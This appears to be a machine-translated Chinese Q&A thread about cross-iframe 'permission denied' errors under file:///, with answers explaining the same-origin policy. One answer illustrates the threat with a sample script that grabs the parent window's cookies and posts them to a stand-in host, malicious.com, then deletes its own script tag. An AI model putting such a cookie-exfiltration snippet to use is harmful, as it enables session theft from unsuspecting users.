2013-05-22 166 views
4

我遇到访问来自不同iframe的属性的问题。我不断收到拒绝访问属性错误的权限。我看到有人问他们是否多次使用file:///,但从来没有人(除了我),以致永远不会得到解决。JavaScript权限被拒绝访问属性

我不是在网上做这个。我的所有帧的src都在我硬盘上的同一个文件中。我想从对象的某些属性我在其他帧

function fill_with_pairs() 
{ 
    for (var x = 0 ; x < setLength ; x++) 
    { 
     var tempSet = sets[x]; 
     var tempNums = tempSet.wb_numbers; 
     if (top.num_frame.active_list.active_nums[x].checked) 
     { 
      for (var y = 0 ; y < 4 ; y++) 
      { 
       var thesePairs = tempNums[y]; 
       var pairBase = numbersX[thesePairs]; 
       for (var z = y+1 ; z < 5 ; z++) 
       { 
        var pairKey = tempNums[z]; 
        pairBase[z]++; 
       } 
      } 
     } 
    } 
} 
+1

倒不如显示你尝试,而不是让人们认为什么可能出了错您的实际代码..! –

+1

iframe未指向与您的网站具有相同域名,协议和端口的位置,因此您无法与其互动。这是一个浏览器限制。 – Blender

+0

我有类似的问题,使用Chrome浏览器和访问'file:///'页面(但不是iframe)我的解决方案是用'--allow-file-access-from-files'启动Chrome。你的旅费可能会改变。 – HBP

回答

2

试图访问一个文件的属性在不同的领域(例如,在iframe元素)任何的JavaScript创建违反称为安全观same origin policy

在计算中,同源策略是许多浏览器端的编程语言的一个重要的安全理念 ,如 的JavaScript。该政策允许在来自同一个站点始发 网页运行脚本 - 方案,主机名和端口的组合 数1 - 访问对方的方法和属性,没有 具体限制,而是跨越阻止访问大多数的方法和 属性在不同网站上的页面。

10

下面

<iframe src="http://example.com" onload="test(this)"></iframe> 
<script> 
function test(frame) 
{ 
    var cDoc = frame.contentDocument; 
} 
</script> 

代码抛出

Unsafe JavaScript attempt to access frame with URL http://example.iana.org from frame with URL {your URL}. Domains, protocols and ports must match. 

的协议必须匹配(例如:主窗口和的IFRAME协议必须是file:http:仅举几个)。

域必须相符(例如:主窗口和的IFRAME域必须example.com

端口必须匹配(例如:主窗口和的IFRAME端口必须808080


这是为了防止用户从恶意站点执行代码,如果这些界限没有到位,可能会轻易地从不知情的用户那里窃取数据。

的恶意JavaScript代码的一个例子:

<script id="loadScript"> 
window.onload = function() 
{ 
    //grab parent to iframe 
    var parentWindow = window.parent.window; 
    //grab cookies from parent window 
    var cookies = parentWindow.document.cookie; 
    //send cookies off to malicious site 
    var form = document.createElement("form"); 
    var inp = document.createElement("input"); 
    form.action="http://malicious.com/maliciousAd.php"; 
    form.method="post"; 
    inp.value=cookies; 
    inp.name="cookies"; 
    form.appendChild(inp); 
    form.submit(); 
    //remove traces of malicious code 
    document.body.removeChild(document.getElementById("loadScript")) 
} 
</script> 
相关问题